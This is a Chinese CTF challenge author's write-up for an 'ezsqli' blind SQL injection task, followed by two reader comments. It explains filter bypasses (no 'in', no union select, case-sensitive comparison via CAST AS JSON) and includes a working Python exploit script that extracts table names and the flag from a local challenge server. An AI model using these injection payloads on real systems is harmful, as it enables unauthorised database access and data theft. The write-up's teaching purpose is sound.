新春战疫公益赛-ezsqli-出题小记

前言

这道题是参考这篇文章无需“in”的SQL盲注 出的,补掉了正则回溯和查看别人payload的bug

无in注表名

之前常用的 innodb_table_stats  和 innodb_index_stats 无法使用了
外国大佬在sys数据库中找到了很多替代品,参考文章:
Alternatives to Extract Tables and Columns from MySQL and MariaDB 

无union select和字段名注数据

常用的无字段名注入都依赖于union select,而题中不允许union和select同时出现,这里就需要用文中提到的方法
如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x' 
而题中有两列,需要将查询语句与相同数量的列进行比较,再配合 <= 进行盲注
image.png

区分大小写注数据

mysql默认是不区分大小写的,因为我忘记往flag中加入大写字符了,再加上i春秋的环境是动态flag,貌似默认都是小写flag,emmm这样的话题目就变的很简单了。直接正常盲注即可。

预期解是文章中提到的使用 SELECT CONCAT("A", CAST(0 AS JSON)) 来另其返回二进制字符串。不过你并不知道需要注入的字符串中有什么,是否大于0,因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx} 
这样以来我们只用把需要注入的字符按照ascii大小排序,小的在前面,逐位去跑即可。
最后就是i春秋的flag中有--比数字更小,写脚本需要注意一下。
exp:

# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break

def exp2():
    str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    flag_table_name = 'f1ag_1s_h3r3_hhhhh'
    for j in range(1,39):
        for i in str1:
            i = flag+i
            paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)

            if 'Nu1L' not in r.text:
                flag=i
                print(flag)
                break

if __name__ == '__main__':
    exp1()
    exp2()

  1. 师傅想请问下exp2最后爆flag那里,为什么直接爆字符的脚本(如果不考虑大小写的话)一直会出错,但是可以转换为十六进制就是可以的,请问下师傅后台存的数据是字符型的么?

    poing     回复
    • 其他人也告诉我单引号服务端会返回500,我自己本地docker没问题,可能是ichunqiu环境的问题。

      Smi1e     回复
 

发表评论

 
发表评论